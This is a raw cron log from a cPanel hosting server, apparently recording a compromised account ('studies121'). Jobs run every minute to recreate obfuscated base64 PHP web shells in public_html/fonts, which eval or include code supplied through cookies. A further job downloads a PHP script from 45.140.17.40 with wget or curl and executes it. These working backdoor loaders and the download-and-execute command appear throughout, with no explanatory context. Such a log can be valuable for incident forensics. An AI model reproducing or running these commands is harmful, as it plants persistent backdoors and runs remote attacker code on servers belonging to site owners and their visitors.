Feb 23 02:23:01 ip-184-168-122-23 CROND[6960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:24:01 ip-184-168-122-23 CROND[7288]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:24:01 ip-184-168-122-23 CROND[7290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:24:01 ip-184-168-122-23 CROND[7293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:24:01 ip-184-168-122-23 CROND[7294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:24:01 ip-184-168-122-23 CROND[7291]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Feb 23 02:24:01 ip-184-168-122-23 CROND[7292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:25:01 ip-184-168-122-23 CROND[7649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7653]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7654]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:25:01 ip-184-168-122-23 CROND[7656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:26:01 ip-184-168-122-23 CROND[8078]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Feb 23 02:26:01 ip-184-168-122-23 CROND[8082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:26:01 ip-184-168-122-23 CROND[8083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:26:01 ip-184-168-122-23 CROND[8084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:26:01 ip-184-168-122-23 CROND[8085]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:26:01 ip-184-168-122-23 CROND[8086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:27:01 ip-184-168-122-23 crond[674]: (aromaskitchen) ORPHAN (no passwd entry)
Feb 23 02:27:01 ip-184-168-122-23 crond[674]: (jonessimon) ORPHAN (no passwd entry)
Feb 23 02:27:01 ip-184-168-122-23 CROND[8645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:27:01 ip-184-168-122-23 CROND[8646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:27:01 ip-184-168-122-23 CROND[8647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:27:01 ip-184-168-122-23 CROND[8649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:28:01 ip-184-168-122-23 CROND[8974]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:28:01 ip-184-168-122-23 CROND[8977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:28:01 ip-184-168-122-23 CROND[8978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:28:01 ip-184-168-122-23 CROND[8976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:28:01 ip-184-168-122-23 CROND[8975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:29:01 ip-184-168-122-23 CROND[9288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:29:01 ip-184-168-122-23 CROND[9289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:29:01 ip-184-168-122-23 CROND[9291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:29:01 ip-184-168-122-23 CROND[9293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:30:01 ip-184-168-122-23 CROND[9616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:30:01 ip-184-168-122-23 CROND[9615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 23 02:30:01 ip-184-168-122-23 CROND[9617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:30:02 ip-184-168-122-23 CROND[9623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:30:02 ip-184-168-122-23 CROND[9622]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 23 02:30:02 ip-184-168-122-23 CROND[9625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 23 02:30:02 ip-184-168-122-23 CROND[9621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:30:02 ip-184-168-122-23 CROND[9626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:31:01 ip-184-168-122-23 CROND[9949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:31:01 ip-184-168-122-23 CROND[9950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:31:01 ip-184-168-122-23 CROND[9954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:31:01 ip-184-168-122-23 CROND[9953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:31:01 ip-184-168-122-23 CROND[9956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 23 02:32:01 ip-184-168-122-23 CROND[10361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:32:01 ip-184-168-122-23 CROND[10360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:32:01 ip-184-168-122-23 CROND[10366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:32:01 ip-184-168-122-23 CROND[10364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:32:01 ip-184-168-122-23 CROND[10365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:33:01 ip-184-168-122-23 CROND[10696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:33:01 ip-184-168-122-23 CROND[10697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:33:01 ip-184-168-122-23 CROND[10699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:33:01 ip-184-168-122-23 CROND[10701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:34:02 ip-184-168-122-23 CROND[11051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:34:02 ip-184-168-122-23 CROND[11053]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 23 02:34:02 ip-184-168-122-23 CROND[11054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 23 02:34:02 ip-184-168-122-23 CROND[11055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 23 02:34:02 ip-184-168-122-23 CROND[11056]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:35:01 ip-184-168-122-23 CROND[11381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 23 02:35:01 ip-184-168-122-23 CROND[11383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 23 02:35:01 ip-184-168-122-23 CROND[11385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
